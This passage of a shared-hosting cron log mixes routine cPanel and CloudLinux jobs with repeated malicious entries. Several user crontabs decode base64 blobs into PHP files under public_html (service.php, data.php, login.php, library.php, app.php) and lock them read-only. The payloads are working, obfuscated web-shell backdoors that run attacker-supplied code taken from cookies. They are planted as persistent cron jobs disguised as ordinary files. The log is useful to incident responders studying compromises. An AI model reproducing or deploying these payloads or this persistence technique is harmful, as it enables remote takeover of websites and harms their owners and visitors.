iAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:55:02 medusa CROND[14501]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:55:02 medusa CROND[14494]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:55:02 medusa CROND[14497]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:55:02 medusa CROND[14511]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:55:02 medusa CROND[14513]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:55:02 medusa CROND[14514]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 02:55:02 medusa CROND[14519]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:55:02 medusa CROND[14496]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:55:02 medusa CROND[14490]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:55:02 medusa CROND[14498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:55:02 medusa CROND[14491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:56:01 medusa CROND[20274]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:56:01 medusa CROND[20329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:56:01 medusa CROND[20331]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:56:01 medusa CROND[20332]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:56:01 medusa CROND[20333]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:56:01 medusa CROND[20338]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:56:01 medusa CROND[20342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:56:01 medusa CROND[20344]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:56:01 medusa CROND[20345]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:56:01 medusa CROND[20348]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:56:01 medusa CROND[20356]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:56:01 medusa CROND[20358]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:56:01 medusa CROND[20362]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:56:01 medusa CROND[20363]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:57:01 medusa CROND[26761]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:57:01 medusa CROND[26762]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 02:57:01 medusa CROND[26764]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:57:01 medusa CROND[26765]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:57:01 medusa CROND[26766]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:57:01 medusa CROND[26767]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:57:01 medusa CROND[26768]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:57:01 medusa CROND[26770]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR